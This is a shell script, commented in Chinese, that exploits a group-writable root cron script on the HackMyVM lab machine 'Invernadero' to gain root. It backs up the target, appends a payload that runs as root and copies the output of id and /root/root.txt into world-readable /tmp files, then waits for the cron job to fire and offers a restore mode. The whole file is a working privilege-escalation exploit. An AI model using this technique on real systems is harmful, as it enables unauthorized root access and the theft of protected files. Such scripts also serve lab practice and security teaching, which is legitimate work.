#!/bin/sh # Invernadero cron 脚本劫持提权 (HackMyVM) # # 场景:宿主机 /opt/invernadero/backup_logs.sh # -rwxrwxr-x 1 root admin_invernadero 347 backup_logs.sh # 属组 admin_invernadero 可写,且由 root crontab 每分钟执行: # * * * * * /opt/invernadero/backup_logs.sh # # 用法(在已登录的 admin_invernadero SSH 会话中执行): # ./cron_hijack.sh # 注入载荷并等待 root 执行 # ./cron_hijack.sh --restore # 从备份还原原始脚本 # # 载荷内容:以 root 身份把 id 与 /root/root.txt 落到 /tmp(world-readable)。 set -u TARGET_SCRIPT="/opt/invernadero/backup_logs.sh" BACKUP_SCRIPT="/tmp/backup_logs.sh.orig" ID_OUT="/tmp/pwnid.txt" FLAG_OUT="/tmp/rootflag.txt" MARKER="# --- cron_hijack marker ---" MAX_WAIT=180 INTERVAL=10 restore() { if [ ! -r "$BACKUP_SCRIPT" ]; then echo "[-] 找不到备份或不可读 $BACKUP_SCRIPT,拒绝恢复(避免截断目标脚本)" return 1 fi if [ ! -s "$BACKUP_SCRIPT" ]; then echo "[-] 备份为空 $BACKUP_SCRIPT,拒绝恢复" return 1 fi # BusyBox 的 cp 不覆盖已存在文件,用重定向截断写入 cat "$BACKUP_SCRIPT" > "$TARGET_SCRIPT" || return 1 if [ ! -s "$TARGET_SCRIPT" ]; then echo "[-] 恢复后脚本为空,拒绝继续" return 1 fi if ! cmp -s "$BACKUP_SCRIPT" "$TARGET_SCRIPT"; then echo "[-] 恢复后与备份 cmp 不一致,拒绝继续" return 1 fi rm -f "$BACKUP_SCRIPT" echo "[+] 脚本已恢复并经 cmp 校验:$TARGET_SCRIPT" ls -la "$TARGET_SCRIPT" cat "$TARGET_SCRIPT" # 结果文件多为 root 属主,/tmp sticky 下普通用户删不掉:逐个检查, # 明确区分“脚本已恢复”与“结果文件已清理”,失败不冒充成功。 rm_failed=0 for f in "$ID_OUT" "$FLAG_OUT"; do if [ -e "$f" ]; then rm -f "$f" 2>/dev/null if [ -e "$f" ]; then echo "[!] 无法删除 $f(多为 root 属主 + /tmp sticky,需以 root 清理),脚本已恢复但结果文件残留" rm_failed=1 fi fi done if [ "$rm_failed" -eq 0 ]; then echo "[+] 结果文件已清理" return 0 fi echo "[*] 脚本已恢复,结果文件需 root 清理:rm -f $ID_OUT $FLAG_OUT" return 2 } inject() { if [ ! -w "$TARGET_SCRIPT" ]; then echo "[-] $TARGET_SCRIPT 当前不可写,提权原语不成立" return 1 fi echo "[*] 目标脚本权限:" ls -la "$TARGET_SCRIPT" if [ ! -f "$BACKUP_SCRIPT" ]; then cp "$TARGET_SCRIPT" "$BACKUP_SCRIPT" || { echo "[-] 备份失败,拒绝注入"; return 1; } echo "[+] 已备份原文到 $BACKUP_SCRIPT" else echo "[*] 备份已存在,跳过备份步骤" fi if grep -qF "$MARKER" "$TARGET_SCRIPT" 2>/dev/null; then echo "[-] 检测到已有载荷 marker,请先执行 $0 --restore 后再注入,避免重复追加" return 1 fi # 用时间戳文件界定“本次运行”:先删旧结果,再记录注入起点, # 等待循环只认可新于起点且内容为 uid=0 的文件,避免上次残留误报。 # 注意:旧结果多为 root 属主,/tmp sticky 下普通用户可能删不掉, # 此时不伪装已清理,靠下面的 -nt 时间戳过滤旧残留。 STAMP_FILE="/tmp/.cron_hijack_stamp_$$" touch "$STAMP_FILE" rm -f "$ID_OUT" "$FLAG_OUT" 2>/dev/null for f in "$ID_OUT" "$FLAG_OUT"; do if [ -e "$f" ]; then echo "[!] 旧结果 $f 删除失败(多为 root 属主,需 root 清理),本次等待仍靠时间戳过滤旧文件" fi done cat >> "$TARGET_SCRIPT" < $ID_OUT 2>&1 cat /root/root.txt > $FLAG_OUT 2>&1 chmod 644 $ID_OUT $FLAG_OUT 2>/dev/null EOF echo "[+] 载荷已追加,等待 root cron 触发(每分钟一次)..." waited=0 while [ "$waited" -lt "$MAX_WAIT" ]; do sleep "$INTERVAL" waited=$((waited + INTERVAL)) if [ -s "$ID_OUT" ] && [ "$ID_OUT" -nt "$STAMP_FILE" ] && grep -q '^uid=0' "$ID_OUT" 2>/dev/null; then echo "[+] 载荷已以 root 身份执行(约 ${waited}s)" echo "--- id ---" cat "$ID_OUT" echo "--- /root/root.txt ---" cat "$FLAG_OUT" 2>/dev/null echo echo "[*] 验证完成后请执行:$0 --restore" rm -f "$STAMP_FILE" return 0 fi echo "[$waited s] 尚未执行" done echo "[-] 等待超时,请确认 crontab 是否仍在运行" rm -f "$STAMP_FILE" return 1 } case "${1:-}" in --restore|-r) restore ;; --help|-h) sed -n '2,16p' "$0" ;; "") inject ;; *) echo "[-] 未知参数: $1(可用: --restore / --help)" exit 1 ;; esac